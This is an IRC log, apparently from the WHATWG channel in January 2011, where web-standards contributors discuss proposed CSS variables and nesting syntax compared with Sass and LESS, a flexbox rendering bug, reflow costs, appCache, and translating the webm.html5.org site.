I had thought to extend getBoundingClientRect() and friends

[14:35:01.0000] <annevk>
but probably new APIs we come up with need to take into account transforms somehow

[14:36:00.0000] <dglazkov>
annevk: yes! they totally should.

[14:36:01.0000] <karlcow>
http://www.quirksmode.org/blog/archives/2011/01/linkbait_4.html

[14:36:02.0000] <TabAtkins>
Similarly, RelativeLength, which needs to be canonicalized against an element (to convert between px and em) and a property (to convert to/from %).

[14:36:03.0000] <karlcow>
>CSS variables, nesting, and modules are finally coming. Not from the W3C, of course; it has completely ignored our pleas for years. Google will bring salvation, apparently.

[14:37:00.0000] <karlcow>
>Incidentally, if all this will be built into WebKit it will be on mobile that these new features will be available first.

[14:37:01.0000] <dglazkov>
All hail to almighty google

[14:37:02.0000] <TabAtkins>
Where'd you find that?  I guess they missed that I'm part of CSSWG.

[14:37:03.0000] <karlcow>
TabAtkins: the link just before

[14:37:04.0000] <karlcow>
@ppk on twitter

[14:37:05.0000] <TabAtkins>
Dammit, ppk.

[14:38:00.0000] <Rik`>
And I mean CSS variables has a draft by glazou and dhyatt

[14:38:01.0000] <karlcow>
yep yep

[14:38:02.0000] <jamesr_>
yeah those notorious google hackers

[14:38:03.0000] <TabAtkins>
Rik`: Different draft than what we're going with, though.

[14:39:00.0000] <karlcow>
I would still be working at W3C I would have written a blog post on /QA explaining the history of discussions

[14:40:00.0000] <Rik`>
it looks like PPK thinks there is no implementors in the W3C

[14:41:00.0000] <dglazkov>
and that WebKit is only on mobile.

[14:41:01.0000] <TabAtkins>
I think he's implying that mobile will be the first "safe place" to use it.

[14:41:02.0000] <dglazkov>
darnit, I am turning into a hater. Shutting up now.

[14:42:00.0000] <TabAtkins>
karlcow: Write it anyway and submit it to them.

[14:42:01.0000] <TabAtkins>
Because honestly even I lack some of the context.

[14:42:02.0000] <TabAtkins>
(Though I do know about the last real effort, particularly Hyatt/glazou's stuff.)

[14:44:00.0000] <Rik`>
oh and last year I asked glazou about nesting and he told me that would be a big perf hit

[14:44:01.0000] <TabAtkins>
Haha, the wife and I are such nerds.  I want http://biowarestore.com/mass-effect/mass-effect-mini-lithos/me2-tali-mini-litho , she wants http://biowarestore.com/dragon-age/dragon-age-ladies-apparel/i-love-alistair-womens-tee

[14:44:02.0000] <TabAtkins>
Rik`: That... that doesn't even make sense.

[14:45:00.0000] <TabAtkins>
Nesting is just syntax sugar for not nesting.

[14:46:00.0000] <TabAtkins>
foo { & bar { prop:value; } & baz { prop: value; }} === foo bar { prop: value; } foo baz { prop: value; }

[14:47:00.0000] <Rik`>
that felt weird at the time but we haven't got the opportunity to discuss it more than 30 seconds so :)

[14:47:01.0000] <TabAtkins>
Now, if you do the syntax wrong, it is indeed bad, because you need lots of lookahead.

[14:47:02.0000] <TabAtkins>
But we're not making that mistake.

[14:48:00.0000] <jamesr_>
TabAtkins: they map to descendant selectors? what if you really want child selectors?

[14:48:01.0000] <TabAtkins>
jamesr_: foo { & > bar { prop: value; }}

[14:49:00.0000] <TabAtkins>
foo { &:hover { prop: value; }} === foo:hover { prop: value; }

[14:49:01.0000] <jamesr_>
besides looking like total line noise that's pretty cool

[14:49:02.0000] <TabAtkins>
Well of course it does when it's single-lien.

[14:49:03.0000] <TabAtkins>
When properly indented, it's very readable.

[14:50:00.0000] <Hixie>
what on earth does that mean

[14:50:01.0000] <Hixie>
line noise is right :-P

[14:50:02.0000] <TabAtkins>
I'm writing my blog post about it right now.  There will be indented examples.

[14:51:00.0000] <bfrohs>
That could save a ton of repetition in CSS files... and help save time/prevent mistakes if a class/tag/id ever changes :)

[14:51:01.0000] <TabAtkins>
Precisely.

[14:56:00.0000] <bfrohs>
TabAtkins: Does it support multiple tags for each level? e.g. - body { section, article { strong {prop:value; } } }

[14:56:01.0000] <TabAtkins>
bfrohs: Of course.

[14:56:02.0000] <bfrohs>
TabAtkins: You're my hero :)

[15:02:00.0000] <Steve^>
This new CSS is effectively the same as Sass or less?

[15:02:01.0000] <TabAtkins>
Highly inspired, yeah.

[15:03:00.0000] <Hixie>
http://wiki.whatwg.org/wiki/FAQ updated based on theblog comments

[15:05:00.0000] <Steve^>
TabAtkins, what are the fundamental differences?

[15:06:00.0000] <chriseppstein>
Steve^: So far the biggest diff is some parser constraints and things have be kept declarative instead of sass's more imperative style.

[15:06:01.0000] <TabAtkins>
Steve^: Vars act like they should in a declarative language, unlike SASS where it can be assigned different values at different times.

[15:06:02.0000] <TabAtkins>
Then just some relatively minor syntax differences.

[15:07:00.0000] <chriseppstein>
TabAtkins: Lots of people are worried about nesting as a perf drag because descendent selectors are slow

[15:07:01.0000] <Steve^>
Less has constants, rather than variables

[15:08:00.0000] <TabAtkins>
chriseppstein: Nesting has no inherent relationship to descendant selectors.  That's one of the things our syntax helps with.

[15:08:01.0000] <chriseppstein>
TabAtkins: how so

[15:09:00.0000] <TabAtkins>
foo { & > bar { prop: value; }} === foo > bar { prop: value; }

[15:09:01.0000] <chriseppstein>
right. you can do that in sass

[15:09:02.0000] <chriseppstein>
you can even omit the &

[15:09:03.0000] <Steve^>
exactly

[15:09:04.0000] <Steve^>
So how does the & help us?

[15:10:00.0000] <TabAtkins>
Yeah, so there's no perf hit that you wouldn't see otherwise.  You're not forced to use descendant selectors.  It's exactly as easy to write performant nested CSS as not.

[15:10:01.0000] <chriseppstein>
Steve^: body.foo &

[15:10:02.0000] <TabAtkins>
Steve^: When parsing CSS, if you don't have an explicit indication that "here there be nesting", you ahve to have lots of lookahead.

[15:10:03.0000] <TabAtkins>
In "foo { bar:hover a a a a a a { prop: value; }}", you don't know whether this is an element with a pseudoclass or a property named "bar" until you reach the {.

[15:10:04.0000] <Steve^>
hmm, not so sure about that

[15:11:00.0000] <Steve^>
ok, but does that matter?

[15:11:01.0000] <TabAtkins>
Yes.  We try to minimize lookahead in CSS.

[15:11:02.0000] <chriseppstein>
TabAtkins: I agree. It's just a concern that people have. might want to make sure to note it in your post

[15:11:03.0000] <TabAtkins>
Except for a few minor places, we only have to do 1-token lookahead max.

[15:11:04.0000] <TabAtkins>
chriseppstein: Sure.

[15:11:05.0000] <Steve^>
Yea, nice to explain that. First glance it looks like less/sass but with more syntax

[15:12:00.0000] <Steve^>
TabAtkins, how would you nest a :hover?

[15:12:01.0000] <TabAtkins>
foo { &:hover { prop:value; }}

[15:13:00.0000] <TabAtkins>
(This is another benefit of our syntax over the no-explicit-indicator syntax.)

[15:13:01.0000] <Steve^>
Would you have mixins?

[15:13:02.0000] <TabAtkins>
You can use mixins and nesting together, yeah.

[15:14:00.0000] <chriseppstein>
TabAtkins: That's legal sass you just typed ;)

[15:14:01.0000] <Steve^>
So, you've added a & and restricting variables a little (so it's more like less, to my understanding)

[15:14:02.0000] <TabAtkins>
chriseppstein: Yeah, I'm just saying.

[15:14:03.0000] <chriseppstein>
Steve^: even less.js has &

[15:15:00.0000] <Steve^>
bah, less.js is a mess

[15:15:01.0000] <chriseppstein>
confirm

[15:15:02.0000] <Steve^>
I tried raising bugs and the developers didn't seem to care

[15:15:03.0000] <Steve^>
but it'll be nice for a CSS fallback

[15:16:00.0000] <chriseppstein>
you can use scss now :) we don't ignore bugs

[15:16:01.0000] <TabAtkins>
We're writing a preprocessor for our syntax anyway, so you'll be able to run it just like SASS/LESS, and use the new syntax now rather than a decade from now.

[15:16:02.0000] <Steve^>
chriseppstein, is that a typo of sass?

[15:16:03.0000] <chriseppstein>
scss is sass's css-based syntax

[15:16:04.0000] <TabAtkins>
Also, SASS may just add a mode that recognizes the spec syntax.

[15:16:05.0000] <Steve^>
ah

[15:16:06.0000] <TabAtkins>
alter scss to do so.

[15:17:00.0000] <chriseppstein>
TabAtkins: ya. maybe we'll just parse css in that mode

[15:18:00.0000] <TabAtkins>
If a spec says that UAs must block cross-origin loads, does CORS apply automatically or does the spec need to explicitly say "unless lifted by CORS"?

[15:19:00.0000] <TabAtkins>
s/loads/loads of a particular type of resource/

[15:22:00.0000] <Steve^>
oh wow, Less have stopped the ruby version?

[15:23:00.0000] <chriseppstein>
Steve^: yes. it's deprecated

[15:23:01.0000] <Steve^>
when I tried it it was hot of the press, there was literally one decent blog post on it

[15:24:00.0000] <chriseppstein>
Steve^: Sass has been around for 4 years with the same active, maintainer.

[15:24:01.0000] <Steve^>
My super-critical bug was that urls in normal css files are relative to the css file location, whereas urls via less.js were relative to the site

[15:24:02.0000] <Steve^>
so it wasn't compatible with itself

[15:25:00.0000] <Steve^>
I'm not sure I see the point of less.js outside of development

[15:26:00.0000] <Steve^>
Why exclude that really small percentage of users and add an overhead?

[15:26:01.0000] <chriseppstein>
Steve^: right. even @cloudhead recommends using the server side version for any "real" use

[15:26:02.0000] <chriseppstein>
it can run on the server using node.js

[15:26:03.0000] <Steve^>
So.. they deprecated themselves?

[15:27:00.0000] <chriseppstein>
less.js can run in client and server

[15:27:01.0000] <chriseppstein>
the idea is pretty neat

[15:28:00.0000] <Steve^>
Are we actually saying that everyone has JS now though?

[15:29:00.0000] <chriseppstein>
?

[15:30:00.0000] <Steve^>
yea, ignore me

[15:30:01.0000] <Steve^>
that's the official notice that it's bed time

[15:30:02.0000] <chriseppstein>
'nite

[15:31:00.0000] <davidmurdoch_>
paul_irish told me to come in here and ask TabAtkins about this: http://jsfiddle.net/sBy6M/

[15:31:01.0000] <TabAtkins>
I categorically refuse to answer questions about flexbox, since I'm writing a new version of it right now. ^_^

[15:32:00.0000] <jamesr_>
davidmurdoch_: hmm, i guess setting display:block changes the replaced behavior?

[15:32:01.0000] <jamesr_>
i always get confused about how layout works with replaced elements (like iframes)

[15:32:02.0000] <davidmurdoch_>
are you sure. cus I've been at it for about 3 hours before I figure out that the docs were wrong (i think)

[15:32:03.0000] <Steve^>
wait... Chrome 10?

[15:32:04.0000] <jamesr_>
davidmurdoch_: can you file a bug on bugs.webkit.org, actually?

[15:32:05.0000] <jamesr_>
looks like an implementation bug

[15:32:06.0000] <TabAtkins>
They're display:inline, but inline replaced acts just like display:inline-block.

[15:32:07.0000] <Steve^>
I thought we were in 9 beta

[15:32:08.0000] <davidmurdoch_>
i'm on dev.

[15:32:09.0000] <jamesr_>
although like tab said flexbox is going to get changed

[15:33:00.0000] <Steve^>
crazy

[15:33:01.0000] <Steve^>
(not you, the version numbering)

[15:33:02.0000] <davidmurdoch_>
so, should I file the bug?

[15:34:00.0000] <TabAtkins>
I don't know.  The behavior of current-draft flexbox feels dangerously underspecified, so I'm not certain what behavior is right and what is wrong.

[15:35:00.0000] <TabAtkins>
However!  I suspect the problem is that only display:block element can actually be flexbox children.  display:inline elements get wrapped in an anonymous block box.  This can cause troubles similar to what you get with the table-* display values sometimes.

[15:35:01.0000] <Steve^>
How are Chrome going to get around the version numbering problem that Opera 10 found?

[15:35:02.0000] <TabAtkins>
Steve^: By powering through.

[15:35:03.0000] <TabAtkins>
We already know that there's some problems, but shrug.

[15:36:00.0000] <Steve^>
That is the Google way!

[15:36:01.0000] <Steve^>
Alright, night guys

[15:42:00.0000] <davidmurdoch_>
TabAtkins: i just tested it on a <span/> and found the same problem.

[15:42:01.0000] <TabAtkins>
That's consistent with what I just said.

[15:43:00.0000] <davidmurdoch_>
Yup, I was just checking.

[15:45:00.0000] <davidmurdoch_>
From the docs: "If inline-level elements are nested inside boxes, they get wrapped in an anonymous block which then takes part in the box layout." Wouldn't this mean that inline elements should behave exactly the same as block-level?

[15:45:01.0000] <davidmurdoch_>
sorry, i know you don't care to answer these questions.

[15:45:02.0000] <davidmurdoch_>
I'll check what firefox does.

[15:52:00.0000] <TabAtkins>
No, the thing that participates in layout is the block box, which you can't target or give any instructions to.

[15:52:01.0000] <TabAtkins>
davidmurdoch_: In particular, you can't tell it to flex.

[15:53:00.0000] <davidmurdoch_>
well, thats just confusing. :-)

[15:53:01.0000] <TabAtkins>
Yeah, anonymous blocks confuse a lot of people.

[15:54:00.0000] <TabAtkins>
They are an unfortunate necessity in many circumstances.

[15:54:01.0000] <davidmurdoch_>
Firefox 4 treats the containing element as inline-block...

[15:55:00.0000] <davidmurdoch_>
it ignores the height on the iframe and flexes it to match the box.

[15:55:01.0000] <davidmurdoch_>
...it flxes the width to match the box as well.

[15:56:00.0000] <davidmurdoch_>
it ignores <span> completely

[15:56:01.0000] <davidmurdoch_>
http://jsfiddle.net/sBy6M/2/


2011-01-22
[16:07:00.0000] <Hixie>
just hit r5800

[16:07:01.0000] <TabAtkins>
Wake me when you're over 9000.

[16:08:00.0000] <Hixie>
wow, you're going for a long sleep

[16:09:00.0000] <TabAtkins>
Start committing with each keystroke.

[16:09:01.0000] <Hixie>
you haven't seen some of my recent commits ;-)

[16:09:02.0000] <Hixie>
unfortunately it takes forever to build

[16:09:03.0000] <Hixie>
so that doesn't scale

[16:10:00.0000] <gsnedders>
Optimize!

[16:12:00.0000] <Hixie>
well to be fair, thanks to you it's way faster than it used to be

[16:12:01.0000] <Hixie>
i mean i run about 5 anolis' each time

[16:12:02.0000] <Hixie>
there was no way i could do that before

[16:12:03.0000] <gsnedders>
Anolis could be way quicker

[16:15:00.0000] <TabAtkins>
All right, new blog post about vars/mixins/nesting

[16:15:01.0000] <TabAtkins>
http://www.xanthir.com/blog/b49w0

[16:16:00.0000] <paul_irish>
\o/ tab!

[16:16:01.0000] <paul_irish>
the @lang attribute.. seems to be totally reasonable to declare it on the <body> elem.. does the fact that <title> precedes body and is un-lang'ed matter?

[16:16:02.0000] <TabAtkins>
Only insofar as you care that <title> is unlanged.

[16:16:03.0000] <Hixie>
put it on <html>

[16:16:04.0000] <TabAtkins>
Plus maybe other metadata in head.

[16:16:05.0000] <paul_irish>
aw. okay.

[16:17:00.0000] <nimbupani>
i knew there was a good reason for lang to be on html

[16:19:00.0000] <paul_irish>
TabAtkins: whats the story with that color cycley-sometimes bar on your site?

[16:21:00.0000] <paul_irish>
TabAtkins: Nevermind. chrome extension. :)  (great post. i'm linking it up on the big nettuts article today)

[16:21:01.0000] <chriseppstein>
TabAtkins: I don't see types here.

[16:21:02.0000] <TabAtkins>
Yeah, I had to turn off that extension for my site, because it's annoying and doesn't work right.

[16:21:03.0000] <TabAtkins>
chriseppstein: They're there, but we figured out how to make them optional.

[16:21:04.0000] <chriseppstein>
TabAtkins: I <3 you

[16:21:05.0000] <nimbupani>
ahem ahem

[16:22:00.0000] <chriseppstein>
nimbupani: hush

[16:22:01.0000] <bfrohs>
TabAtkins: May I make a suggestion for how to make your recent post backward compatible in a way?

[16:22:02.0000] <chriseppstein>
oh there they are

[16:23:00.0000] <TabAtkins>
bfrohs: What's up?

[16:23:01.0000] <TabAtkins>
Also, brb, grabbing snacks and beer.

[16:25:00.0000] <bfrohs>
TabAtkins: As much as I hate to suggest it, using conditional statements (or something similar) like IE has. It would force two separate CSS files at first, but should (well, may) speed up adoption of the new CSS. Okay, looking back, this probably wouldn't help, but it's a suggestion to consider I guess ;)

[16:25:01.0000] <paul_irish>
chriseppstein: did you bring up our ideas on that to tab already?

[16:26:00.0000] <chriseppstein>
paul_irish: I did not

[16:26:01.0000] <chriseppstein>
paul_irish: go ahead

[16:26:02.0000] <paul_irish>
k. /me gets beer and snacks and corners Tab.

[16:31:00.0000] <nimbupani>
oo so close to sass chriseppstein

[16:31:01.0000] <nimbupani>
these proposals :D

[16:31:02.0000] <chriseppstein>
/me is happy

[16:31:03.0000] <chriseppstein>
still a lot missing

[16:32:00.0000] <nimbupani>
its a good start :P

[16:36:00.0000] <benschwarz>
Want for appCache: conditionally download assets, based on media queries

[16:37:00.0000] <ap>
benschwarz: what good will this appcache be if you rotate your iPhone, changing screen dimensions?

[16:37:01.0000] <benschwarz>
The application in question has double density graphics for retina display, yet we have to download the standard size resources as well…

[16:37:02.0000] <benschwarz>
ap: I wouldn't use dimensions as a means of discovering which graphics should be downloaded

[16:38:00.0000] <benschwarz>
Its a poor practice, really

[16:40:00.0000] <benschwarz>
I was hoping to incite some discussion around this… wrong time of day in the US I guess

[16:40:01.0000] <TabAtkins>
bfrohs: I didn't mind conditional comments.  But yeah, something like that might help.

[16:47:00.0000] <benschwarz>
re: The CSSOM discussion

[16:48:00.0000] <benschwarz>
Anyone who has worked on javascript heavy mobile applications knows that repaints are expensive. Some native methods to set multiple properties at once would be very useful

[16:48:01.0000] <TabAtkins>
Indeed.  That's been discussed before, and something to help with that will show up at some point.

[16:48:02.0000] <TabAtkins>
How to do it best without making it easy to shoot yourself in the foot is the open question.

[16:49:00.0000] <benschwarz>
Why invent syntaxes? Whats wrong with simple hash assignment?

[16:50:00.0000] <TabAtkins>
Because setting several things at once isn't the problem.  Generally, browsers already coalesce multiple property sets into one.  The problem is declaring that you're okay with *reading* stale data, so you don't need to force a layout every time you ask for offsetTop.

[16:52:00.0000] <benschwarz>
TabAtkins: Why should it be considered stale?

[16:52:01.0000] <TabAtkins>
Because you've updated something that could potentially have changed it?

[16:52:02.0000] <TabAtkins>
Like the size of an ancestor or something.

[16:53:00.0000] <paul_irish>
benschwarz: the use case is i want to do LOTS of stuff before i want the browser to do a reflow/repaint. touch a bunch of elements.

[16:53:01.0000] <benschwarz>
paul_irish: so, an 'atomic commit'?

[16:55:00.0000] <paul_irish>
'suppose so.

[17:00:00.0000] <benschwarz>
paul_irish: any thoughts on appCache ^ ?

[17:01:00.0000] <paul_irish>
i would also like media queries to affect img @src's

[17:08:00.0000] <benschwarz>
paul_irish: good idea. perhaps worth a post to the whatwg list?

[17:09:00.0000] <paul_irish>
yeah it's a very old feat request from brad neuberg. it looks to have never been formally suggested.

[17:10:00.0000] <nimbupani>
why is he not here :/

[17:16:00.0000] <MikeSmith>
shh, brad doesn't know about IRC yet

[17:17:00.0000] <MikeSmith>
we're trying to keep it secret from him

[17:17:01.0000] <nimbupani>
:D

[17:17:02.0000] <MikeSmith>
so he'll stay busy working on his other stuff

[17:17:03.0000] <nimbupani>
:))

[17:21:00.0000] <MikeSmith>
it is extremely cool to see browser implementors taking inspiration from CSS preprocessors

[17:21:01.0000] <nimbupani>
WOOT WOOT

[17:21:02.0000] <TabAtkins>
Pave the cowpaths, man.

[17:21:03.0000] <nimbupani>
about time

[17:21:04.0000] <MikeSmith>
yep

[17:22:00.0000] <MikeSmith>
much like inspiration was taken from JS libraries for other features now implemented natively

[17:22:01.0000] <TabAtkins>
Yup.

[17:23:00.0000] <MikeSmith>
TabAtkins: and glad the you are representing in the CSS WG

[17:23:01.0000] <MikeSmith>
*that you are

[17:23:02.0000] <TabAtkins>
^_^

[17:31:00.0000] <MikeSmith>
gsnedders: I like http://twitter.com/#!/gsnedders/status/28468340255105024

[17:31:01.0000] <MikeSmith>
you should write more poems like that

[17:32:00.0000] <MikeSmith>
Nabokov himself never wrote anything half as great

[17:33:00.0000] <gsnedders>
MikeSmith: As brucel pointed out, it's Yeats.

[17:33:01.0000] <MikeSmith>
well gosh

[17:34:00.0000] <MikeSmith>
you've stunned me with that revelation man

[17:35:00.0000] <MikeSmith>
I was trying to be cute

[17:35:01.0000] <gsnedders>
MikeSmith: You failed.

[17:35:02.0000] <gsnedders>
I'm the cute one ;P

[17:35:03.0000] <MikeSmith>
heh

[17:35:04.0000] <MikeSmith>
that part's true

[17:36:00.0000] <MikeSmith>
anyway, I recognize my yeats… I didn't spend half my university career reading yeats at outdoor cafes just to impress the girls

[17:37:00.0000] <MikeSmith>
anyway, the thing about Yeats was, his first couple albums were great

[17:37:01.0000] <MikeSmith>
and his live shows before he got his record deal were way better

[17:37:02.0000] <MikeSmith>
he used to perform with just a sock on

[17:37:03.0000] <MikeSmith>
one sock

[17:38:00.0000] <MikeSmith>
and not on either of his feet

[17:38:01.0000] <MikeSmith>
a lot of people think the Red Hot Chili Peppers invented that

[17:38:02.0000] <MikeSmith>
but no, it was Yeats

[17:38:03.0000] <MikeSmith>
way ahead of his time

[17:39:00.0000] <MikeSmith>
but then he got into all that prog-rock crap and it was just downhill from there

[17:40:00.0000] <gsnedders>
MikeSmith: Wait, reading Yeats doesn't impress girls? Shit, that explains a lot.

[17:41:00.0000] <MikeSmith>
heh

[17:41:01.0000] <MikeSmith>
anyway, not sure why I'm telling you this because you obviously know it all already, being that you know enough to quote some of Yeats best lyrics

[17:43:00.0000] <gsnedders>
MikeSmith: I /do/ have taste!

[17:44:00.0000] <MikeSmith>
indeed

[17:44:01.0000] <MikeSmith>
I never had any doubt at all about that

[17:47:00.0000] <MikeSmith>
but as far as impressing others, well, it's kind of like the old Starkist Tuna commercials: "Sorry, Charlie, but Starkist wants tuna that tastes good, not tuna with good taste."

[17:48:00.0000] <benschwarz>
ps. MikeSmith, Tokyo in July ;)

[17:50:00.0000] <MikeSmith>
whoah

[17:50:01.0000] <MikeSmith>
righteous

[17:50:02.0000] <benschwarz>
Party time. Looking into apartments already.

[17:50:03.0000] <benschwarz>
Hopefully we can get something good

[17:50:04.0000] <MikeSmith>
yeah

[17:50:05.0000] <MikeSmith>
last time was epic

[17:50:06.0000] <MikeSmith>
the police are still looking for you guys

[17:53:00.0000] <MikeSmith>
jgraham: btw, you asked me at one time whether the spec-annotation mechanism I set up for the ES5 spec could handle annotations at the sub-section level, and I said no

[17:53:01.0000] <MikeSmith>
but I lied

[17:53:02.0000] <MikeSmith>
it can

[17:53:03.0000] <MikeSmith>
I was looking at http://test.w3.org/html/tests/submission/PhilipTaylor/annotated-spec/canvas.html yesterday

[17:55:00.0000] <MikeSmith>
testing annos similar to those could be added to http://es5.github.com/ doc if you wanted to

[17:55:01.0000] <MikeSmith>
I would be happy to help work on setting up a mechanism for making it easier to add them

[17:57:00.0000] <MikeSmith>
right now it would be a matter of a manually adding spans in the source with unique IDs, then adjusting the script to recognize those and know what to do with them

[17:58:00.0000] <MikeSmith>
actually, I don't see any way to get around the manually-adding-of-the-IDs part

[01:50:00.0000] <annevk>
/me is watching They Were There as pointed out by Gruber, in WebM

[02:12:00.0000] <Ms2ger>
http://html5.org/tools/web-apps-tracker: HTML5 Tracker or HTML Tracker?

[02:13:00.0000] <annevk>
Web Applications 1.0 tracker really

[02:13:01.0000] <annevk>
but that is a long word

[02:13:02.0000] <annevk>
multiple words even :)

[03:15:00.0000] <annevk>
just looked at blog stats again

[03:15:01.0000] <annevk>
although more people came from reddit than any other location (apart from direct) they also stayed about half the time the other visitors did

[03:48:00.0000] <jgraham>
MikeSmith: Hmm, it doesn't sound like that will work well for the HTML5 spec, or at least having to manually add all the spans seems like an enormous pain with the spec changing all the time

[03:59:00.0000] <annevk>
I just realized that in my Formal Objection case the Director was probably Judy Brewer...

[04:02:00.0000] <annevk>
Is there a better link for W3C Domain Leads then http://www.w3.org/People/domain ?

[04:04:00.0000] <annevk>
hmm,I am probably wrong

[04:04:01.0000] <annevk>
never mind

[04:18:00.0000] <hsivonen>
http://blog.whatwg.org/webm-html5-org I announced webm.html5.org

[04:19:00.0000] <annevk>
I changed IRC channel to point to the Wiki page

[04:20:00.0000] <annevk>
i.e. added a link

[04:21:00.0000] <hsivonen>
annevk: thanks

[04:36:00.0000] <Rik`>
hsivonen: it kind of looks like whatwg is endorsing webm, no?

[04:36:01.0000] <annevk>
some of us are

[04:38:00.0000] <Rik`>
the outside world thinks whatwg is one entity with one opinion

[04:39:00.0000] <hsivonen>
Rik`: well, Hixie has been pretty liberal about what can be posted on the blog

[04:39:01.0000] <Rik`>
fair enough :)

[04:39:02.0000] <Rik`>
hsivonen: what about translations ?

[04:39:03.0000] <hsivonen>
Rik`: does it look like whatwg endorses the V.nu parser when I announce updates there?

[04:39:04.0000] <Rik`>
I'm willing to do the French one

[04:39:05.0000] <annevk>
Rik`, we have posted translations in the past on the blog

[04:40:00.0000] <Rik`>
I meant translation of webm.html5.org :)

[04:40:01.0000] <Rik`>
hsivonen: V.nu parser is a technical stuff, not highly sensible like the webm/h264 stuff

[04:41:00.0000] <hsivonen>
Rik`: A translation under the MIT license is welcome if you also figure out how to integrate it into the sniffer script in a maintainable way

[04:41:01.0000] <hsivonen>
Rik`: ITYM "sensitive" :-)

[04:42:00.0000] <hsivonen>
Rik`: hmm. actually, I think as long as the number of translations is small, I could update two copies of the sniffer with different UI strings

[04:43:00.0000] <hsivonen>
so maybe the script maintainability thing doesn't need to be solved while there's just English and French

[04:54:00.0000] <annevk>
http://annevankesteren.nl/2011/01/wai-aria-objection in case anyone cares

[04:54:01.0000] <karlcow>
http://adamcecc.blogspot.com/2011/01/javascript.html

[04:57:00.0000] <Ms2ger>
"Henri Sivonen just recently landed a brand new HTML 5 parsing engine in Gecko"

[04:59:00.0000] <hsivonen>
Ms2ger: source?

[04:59:01.0000] <Ms2ger>
http://www.google.com/buzz/ianbicking/2SDGH7NJGgJ/HTML-5-Parsing-John-Resig

[04:59:02.0000] <Steve^>
karlcow, that is insane - in a cool way

[05:01:00.0000] <annevk>
Ms2ger, which in turn is a copy of http://ejohn.org/blog/html-5-parsing/

[05:01:01.0000] <annevk>
Posted: July 7th, 2009

[05:11:00.0000] <Rik`>
hsivonen: is there a repository somewhere for webm.h.o ?

[05:14:00.0000] <hsivonen>
Rik`: no repo. this is a very unprofessional operation

[05:15:00.0000] <karlcow>
http://www.readwriteweb.com/start/2011/01/the-valley-lacks-flexibility-not-talent.php

[05:19:00.0000] <hsivonen>
Philip`: have you investigating CFF subsetting? Is lack of CFF support in your subsetter just a matter of "not done yet" or is it particularly hard?

[05:19:01.0000] <hsivonen>
s/investigating/investigated/

[05:19:02.0000] <hsivonen>
/me is typing faster than thinking

[05:23:00.0000] <Philip`>
hsivonen: I used the Font::TTF library for reading/writing fonts and it doesn't support the CFF table at all, so it'd be necessary to implement that (or at least enough of it to delete and renumber glyphs)

[05:24:00.0000] <Philip`>
I don't think that's inherently hard, but it'd take a lot of specification-reading and testing

[05:25:00.0000] <Philip`>
(I haven't looked at the spec in much detail though)

[05:28:00.0000] <hsivonen>
Philip`: ok

[05:31:00.0000] <vrs>
karlcow: awesome

[05:32:00.0000] <vrs>
found this in the comments: http://sla.ckers.org/forum/read.php?24,33349,33405 http://discogscounter.getfreehosting.co.uk/js-noalnum_com.php

[05:32:01.0000] <Philip`>
Originally I wanted fonts to work in all browsers, and IE didn't support CFF in EOT (though flipping a single conditional instruction in a DLL file seemed to make it work perfectly fine), so I was just focused on TrueType outlines instead

[05:35:00.0000] <annevk>
http://www.infosyncworld.com/reviews/cell-phones/opera-software-whatwg-support/11716.html euh ok

[05:37:00.0000] <annevk>
i wonder how people who write stuff like that get paid

[05:37:01.0000] <karlcow>
because they write stuff like that.

[05:38:00.0000] <Philip`>
Because people read stuff like that

[05:39:00.0000] <karlcow>
chicken and egg

[05:39:01.0000] <Philip`>
Egg

[05:39:02.0000] <karlcow>
http://no.linkedin.com/pub/sindre-lia/0/392/59

[05:40:00.0000] <Philip`>
(Chickens weren't the first animals to lay eggs)

[05:40:01.0000] <karlcow>
snake and egg ? :p

[06:00:00.0000] <hsivonen>
maybe webm.html5.org should have the UI strings in a separate .js file that could vary by UI language

[06:03:00.0000] <Philip`>
Maybe it'd be better for the language to be chosen by the site that links users to webm.html5.org

[06:03:01.0000] <Philip`>
since that site must know what language the user understands (else the user wouldn't be on that site)

[06:04:00.0000] <Philip`>
and that'd probably safer than the webm site trying to guess the appropriate language itself

[06:06:00.0000] <hsivonen>
Philip`: oh, I'd expect the linker to link to a particular language

[06:07:00.0000] <hsivonen>
Philip`: but still, it seems to me that putting strings into a per-language .js file would be the simplest way to vary the strings

[06:08:00.0000] <Philip`>
Is there any desire to support users with scripting disabled?

[06:08:01.0000] <hsivonen>
Philip`: some; see the source of the page

[06:09:00.0000] <annevk>
hsivonen, can't you use some PHP module for translations?

[06:09:01.0000] <hsivonen>
annevk: no idea

[06:09:02.0000] <Philip`>
Sounds like you'd need some server-side templating to replace the no-script strings at least

[06:09:03.0000] <hsivonen>
maybe

[06:09:04.0000] <annevk>
hsivonen, so you can have some kind of translation files

[06:10:00.0000] <Philip`>
and then it's probably easiest to use that for the scripted strings too

[06:10:01.0000] <hsivonen>
i18n complicates as simple hack very quickly. :-(

[06:12:00.0000] <Philip`>
You could leave it English-only and wait and see if it becomes popular enough to jusify the extra effort

[06:12:01.0000] <hsivonen>
Philip`: it sucks to turn away people when they volunteer to translate *right now*

[06:14:00.0000] <Philip`>
Are they volunteering to keep the translations up-to-date when you modify the original text over the next few days/weeks/months?

[06:15:00.0000] <hsivonen>
Philip`: dunno. For French, I could do simple translation updates myself. For Dutch, I couldn't.

[06:15:01.0000] <Philip`>
/me is sometimes scared of accepting translations since he imagines they'll discourage him from making improvements to the versions that he can maintain

[06:16:00.0000] <Philip`>
(and I never like marking anything as a final unchanging version)

[06:16:01.0000] <Philip`>
/me would like to learn how to get over those fears

[06:18:00.0000] <annevk>
just add a warning sign on top of those outdated versions

[06:19:00.0000] <annevk>
someone might help you fix it

[06:37:00.0000] <Dashiva>
Dear twitter, I know what a retweet is, please stop telling me.

[06:38:00.0000] <annevk>
Might have more effect if you do that on twitter using @twitter

[06:39:00.0000] <Dashiva>
I'm really just fishing for someone to tell me there's an obvious way to disable it :P

[06:40:00.0000] <annevk>
You mean you do not want see retweets from other people?

[06:42:00.0000] <Dashiva>
No, I just don't want the popup telling me what a retweet is

[07:04:00.0000] <Dashiva>
Haha

[07:05:00.0000] <Dashiva>
I did a search for @twitter to see if anyone was doing what annevk suggested, and there are lots of people complaining about twitter removing a hashtag from trending topics

[07:15:00.0000] <jgraham>
Oooh Ian Bicking works for Mozilla now? When did that happen?

[07:16:00.0000] <jgraham>
/me is obviously not keeping up

[07:27:00.0000] <annevk>
http://blog.ianbicking.org/2010/03/10/joining-mozilla/

[07:28:00.0000] <annevk>
Why is Internet Explorer so bad when Content-Length is not provided over HTTP?

[07:31:00.0000] <annevk>
Hmm, there might be something else going on...

[07:54:00.0000] <rubys>
hsivonen: ping?

[07:56:00.0000] <rubys>
